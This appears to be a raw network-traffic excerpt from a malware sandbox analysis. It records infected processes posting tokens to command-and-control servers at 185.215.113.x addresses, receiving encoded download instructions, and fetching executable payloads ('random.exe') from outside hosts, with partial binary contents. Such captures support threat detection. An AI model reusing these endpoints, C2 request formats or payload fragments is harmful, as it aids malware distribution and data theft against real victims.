Dec 16, 2024 10:38:23.768335104 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 10:38:23.881784916 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="message"ybncbhylepme------HIIIDAKKJJJKKECAKKJE--
Dec 16, 2024 10:38:24.327204943 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49935	185.215.113.16	80	8088	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:38:24.451564074 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 16, 2024 10:38:25.796854019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 09:38:25 GMT Content-Type: application/octet-stream Content-Length: 3042304 Last-Modified: Mon, 16 Dec 2024 09:29:45 GMT Connection: keep-alive ETag: "675ff309-2e6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@@2x.@WkD11 @.rsrcD@.idata @dvclnttfP+P+@migevdii2D.@.taggant02"J.@
Dec 16, 2024 10:38:25.796920061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:38:25.796956062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:38:25.797008991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:38:25.797044039 CET	1236	IN	Data Raw: 19 3e 2b 47 ae 88 59 11 50 5d 36 43 12 51 b8 af bc a9 a1 04 25 fb 6b 95 dd db bf 69 d9 7f ba 72 7d 33 48 9e 7f 73 2e 87 da 74 16 85 5e 5a 27 ab 0f 6b 7a c7 0b 55 eb 13 7c 6a aa f8 d4 08 bb 93 5f ff 06 58 f6 b4 e5 92 ad 28 bd 84 9e 6a f2 58 af d4 Data Ascii: >+GYP]6CQ%kir}3Hs.t^Z'kzU\|j_X(jX7HV9Rc9j[ZQ66se}ePq+uBpL^wOoG(Wkw%_3L~Y@7pZ+K)8/K>I[T$cf_e
Dec 16, 2024 10:38:25.797077894 CET	1236	IN	Data Raw: 49 3f 95 d7 8e 27 eb 44 a6 13 77 ca e6 a4 44 ce 3f 39 af ba ac f8 56 4f 2f 46 bb b2 43 f3 5b 87 2e 59 12 5f 9c 93 c1 1f 5d 1d 5f 5c 37 7f da 36 b2 d8 3a 54 d4 28 c6 85 b6 79 3b 1c d9 0b 37 73 7e 3f c1 56 be e3 70 a5 e3 2c ba be 8f bc a5 68 50 da Data Ascii: I?'DwD?9VO/FC[.Y_]_\76:T(y;7s~?Vp,hP>]cH5o#:g #m}zj#xW5-iQluv*FHZ^~yN3GM`bBcE8F[{"\|-uHRm8X3
Dec 16, 2024 10:38:25.797159910 CET	1236	IN	Data Raw: cb 60 63 eb 97 62 56 51 9a 74 e1 08 ad 5a 82 96 e6 cc 47 a7 2a ef 8d b7 3e 51 93 b3 67 69 82 8e 8b ba 68 7a 9a 5c a7 65 66 0a b7 35 79 d7 ad 46 48 e3 64 d6 56 7c 44 5a 6f 93 55 85 fb 8f 07 d3 56 52 20 02 2d d7 96 34 b1 de 22 35 96 4e 60 51 ea 1f Data Ascii: `cbVQtZG>Qgihz\ef5yFHdV\|DZoUVR -4"5N`Qd=<5wmvUg@5$4yRHm*!iNJa5t\(:zyZHz$Y;>t+AeOcafTF_aaM!K!un
Dec 16, 2024 10:38:25.797210932 CET	1236	IN	Data Raw: e1 91 bc cc ad d3 20 5a a2 7f 0e 2f e6 b1 ea 6f 36 4e 35 66 68 c3 b7 12 ac f1 2e ec 8d 34 92 d1 bb 77 87 cd c9 cb 13 63 33 d7 4e 97 fb 82 fd 6a d6 fb bf 21 3d 1d be 88 63 04 27 51 b1 bc e2 f7 ad 29 f4 97 a9 f1 cf cd ac bf be 0f 96 50 8d 5a 23 66 Data Ascii: Z/o6N5fh.4wc3Nj!=c'Q)PZ#f/'>)$$!^H<ky=3Rf9DI/;W,fl/Bw3aLyX`}gvo$L0+Rk\|\hfJBto_YL?w@@Ck*e_x9Qf
Dec 16, 2024 10:38:25.797245026 CET	1224	IN	Data Raw: 5d 9f a7 08 fd c5 c6 51 6a 90 96 40 ee 5a c2 d6 43 99 fb b8 bb 57 5a 0e ee 9b 05 1e fb ad d1 32 ce 73 32 51 b2 7a 24 22 b8 ba 29 55 46 60 5a 4f 97 9f 70 af c8 45 a3 8a 01 7a 28 4f d0 62 68 77 92 64 7a 29 c7 aa d2 d9 17 35 e4 b0 bc eb a3 43 c5 a5 Data Ascii: ]Qj@ZCWZ2s2Qz$")UF`ZOpEz(Obhwdz)5CrcwBE_COE%.IJ0N?`gTf;Ox}z}J_y`DtX#oP_^Z`a!+T!~'/_84/{=$QE7Tf
Dec 16, 2024 10:38:25.797280073 CET	1236	IN	Data Raw: c6 58 2a 69 f8 3c 08 48 6a fa 83 44 a1 6d 1a 9e a9 29 ef f3 d9 d5 19 8c 34 f4 2a a8 13 51 15 7f 96 bf a0 f3 b2 89 b7 a8 0c 9d 28 66 f8 9e 6b 4b f0 b1 c9 c8 ad 71 22 cc b1 eb 2c c8 38 36 57 87 da 6b 97 6c 4c f2 d0 8a 4e a8 05 2d 63 a3 a7 fc 8e 6d Data Ascii: Xi<HjDm)4Q(fkKq",86WklLN-cmyT'WNU8,n9Bqa)P~qb1{V+8=F/GkyCif>yF&s}6yr3-7\|_ {Tw_7sH# v}%Nd8"/S
Dec 16, 2024 10:38:25.917030096 CET	1236	IN	Data Raw: 0c 68 e4 52 56 7e 76 3e 3f 31 af 47 86 39 cf bd 91 31 a3 43 23 3d 9e 37 86 ef 1e 63 f4 93 37 d2 a5 e2 a2 b4 27 4f e1 6e 22 a3 a9 bc 0f 12 ba 2a a2 5f 36 54 4d dd 31 f6 61 e3 2a de 56 bc e5 ca a3 af 35 cd d7 ea 01 6b b8 ef f4 68 5f 20 56 55 f4 97 Data Ascii: hRV~v>?1G91C#=7c7'On"_6TM1aV5kh_ VUi/SW=;rc&[~;pBdsopK=E;&'6{vw<y~%Yu2}QSr-eGp_:M9C=Zv.KQ\|q}aTV'9G%;HO{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49951	185.215.113.206	80	8088	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:38:31.036351919 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 2d 2d 0d 0a Data Ascii: ------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIJECGDGCBKECAKFBGCA--
Dec 16, 2024 10:38:32.860997915 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:38:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	50015	185.215.113.43	80	6864	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:39:03.586268902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 10:39:04.916740894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 09:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	50016	185.215.113.43	80	6864	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:39:06.554177999 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FD666B333B96DA0445166EF7A7D35B1E750864299
Dec 16, 2024 10:39:07.916063070 CET	1156	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 09:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 63 35 0d 0a 20 3c 63 3e 31 30 31 36 30 32 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 30 33 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 30 33 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 65 37 31 39 31 34 65 35 34 61 36 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 36 30 33 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 [TRUNCATED] Data Ascii: 3c5 <c>1016028001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016030001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016031001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#1016033001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1016034001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#1016035001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016036001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016037001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016038001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016039001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	50017	31.41.244.11	80	6864	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 10:39:08.042809963 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 10:39:09.365509033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 09:39:09 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 16, 2024 10:39:09.365537882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 10:39:09.365549088 CET	448	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 16, 2024 10:39:09.365649939 CET	1236	IN	Data Raw: eb 05 90 83 45 d0 04 8b 45 d8 83 f8 10 72 32 8d 50 01 81 fa 00 10 00 00 72 19 90 8b 4d dc 8b 41 fc 83 c1 fc 29 c1 83 f9 20 73 4a 8b 55 d8 83 c2 24 eb 03 8b 45 dc 90 52 50 e8 e4 10 00 00 83 c4 08 90 8b 45 cc 40 3b 75 0c 0f 85 b4 fd ff ff 90 8b 45 Data Ascii: EEr2PrMA) sJU$ERPE@;uEEMdH^_[]EOmfU]@U]@UM1]fff.U]@U]UWVeE
Dec 16, 2024 10:39:09.365663052 CET	1236	IN	Data Raw: 41 00 e8 c8 f8 ff ff 83 c4 08 89 45 e8 8b 55 e8 ff d2 6a 1c 68 00 e0 41 00 68 49 05 00 00 68 1c e0 41 00 e8 97 fc ff ff 83 c4 10 6a 09 68 00 60 41 00 57 56 e8 86 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 58 f0 41 00 e8 83 f8 ff ff 83 c4 08 8d 4d ec Data Ascii: AEUjhAhIhAjh`AWVh5XAMQj@hIhAuM11^_]uuVA'jhAUSWVL]eEEE"@dMdd=0w@XAhb-/5XA
Dec 16, 2024 10:39:09.365778923 CET	1236	IN	Data Raw: c5 0c 83 c4 1c 5d c3 cc cc cc cc 8b 44 24 08 83 f8 0f 74 0d 83 f8 02 75 0d 6a 00 ff 15 8c cd 41 00 31 c0 c2 10 00 ff 25 84 cd 41 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 58 90 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 Data Ascii: ]D$tujA1%AUSWVXeEEE"@dMdjEWEEEE@EjAEE`AEPAft(WEEjjjEPAuugEd
Dec 16, 2024 10:39:09.365792990 CET	672	IN	Data Raw: 90 8b 55 08 89 65 e4 c7 45 f0 ff ff ff ff 8d 45 e8 c7 45 ec 20 23 40 00 64 8b 0d 00 00 00 00 89 4d e8 64 a3 00 00 00 00 89 55 e0 90 8b 4d 08 8b 01 8b 49 04 c7 45 f0 01 00 00 00 50 ff d1 83 c4 04 e8 f8 0b 00 00 90 ff 75 08 e8 52 02 00 00 83 c4 04 Data Ascii: UeEEE #@dMdUMIEPuREd1^_[]UPM3]fffff.UPu]UeEEE0#@dUdtEuEd
Dec 16, 2024 10:39:09.365803957 CET	1236	IN	Data Raw: 00 e9 67 61 00 00 55 8b ec ff 75 08 e8 f0 ff ff ff 59 5d c3 55 8b ec f6 45 08 01 56 8b f1 c7 06 78 61 41 00 74 0a 6a 0c 56 e8 d8 ff ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 5d e9 91 ff ff ff e9 bc ff ff ff 3b 0d 00 e6 41 00 75 01 c3 e9 bb 0a 00 Data Ascii: gaUuY]UEVxaAtjVYY^]U];AuUQQEVEEEVD`A"bRP#!YY^UVFD`A `PEP YY^]AD`APB!YUVuLaA^]aaA A
Dec 16, 2024 10:39:09.365809917 CET	1236	IN	Data Raw: 08 56 8b 75 0c 8b 42 04 8b 4e 04 8b 40 04 3b 41 04 75 0a 8b 02 3b 06 75 04 b0 01 eb 02 32 c0 5e 5d c3 6a 24 b8 25 5c 41 00 e8 bd 07 00 00 8b 75 08 89 75 d4 83 65 fc 00 83 7d 24 00 74 0f 6a 02 68 6c af 41 00 8d 4d 14 e8 b2 fd ff ff 8d 45 d8 50 8d Data Ascii: VuBN@;Au;u2^]j$%\Auue}$tjhlAMEPMzxHEvQPMMEPMU A3EEVuuPhuEuPW$PMMUNMaA3
Dec 16, 2024 10:39:09.365820885 CET	1236	IN	Data Raw: 64 a1 00 00 00 00 50 51 53 56 57 a1 00 e6 41 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 be 68 f0 41 00 e8 1d 01 00 00 b9 4c e6 41 00 89 45 f0 e8 84 00 00 00 8b 8e 90 01 00 00 33 db 85 c9 74 4e 8d 7e 08 83 fb 14 7d 46 83 3f 00 8b c1 74 35 8b 4d f0 39 Data Ascii: dPQSVWA3PEdhALAE3tN~}F?t5M9Ou-Gt7wZ'YYCuuhLAYMdY_^[VVYuuj^jy,uA,2
Dec 16, 2024 10:39:09.485378027 CET	1236	IN	Data Raw: 04 50 ff 15 70 cd 41 00 33 c0 5d c3 55 8b ec 51 51 8d 45 f8 50 e8 8e 00 00 00 8b 55 fc 33 c0 03 45 f8 59 83 d2 00 2d 00 80 3e d5 81 da de b1 9d 01 c9 c3 55 8b ec 53 56 57 e8 ce ff ff ff 6a 00 68 80 96 98 00 8b fa 8b d8 57 53 e8 bb 00 00 00 8b 75 Data Ascii: PpA3]UQQEPU3EY->USVWjhWSujhWSVkd_F^[]VhAAhLAVAh`AVAA A3^Ujhi\AdPVA3PEd5AutAAMd

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49717	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:06 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 09:37:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 09:37:07 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9i13l274nt0d57rrb3b6u26qph; expires=Fri, 11-Apr-2025 03:23:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q7QYza00IBTm05lEaaNZfD%2BP1xlTMOjotFHDsYsG64tu6ia7uTWcOIkiFAErFMmphdBiNrBj4arfrbKzy0wUyo%2BgIXDmzIJP2w3wl8PRoejeoCfMnrI7I%2FoSjTo4gKshMo0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db163b8b14343-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1536&min_rtt=1526&rtt_var=593&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=906&delivery_rate=1814791&cwnd=244&unsent_bytes=0&cid=564fdbeb90f565fa&ts=711&x=0"
2024-12-16 09:37:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 09:37:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49723	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
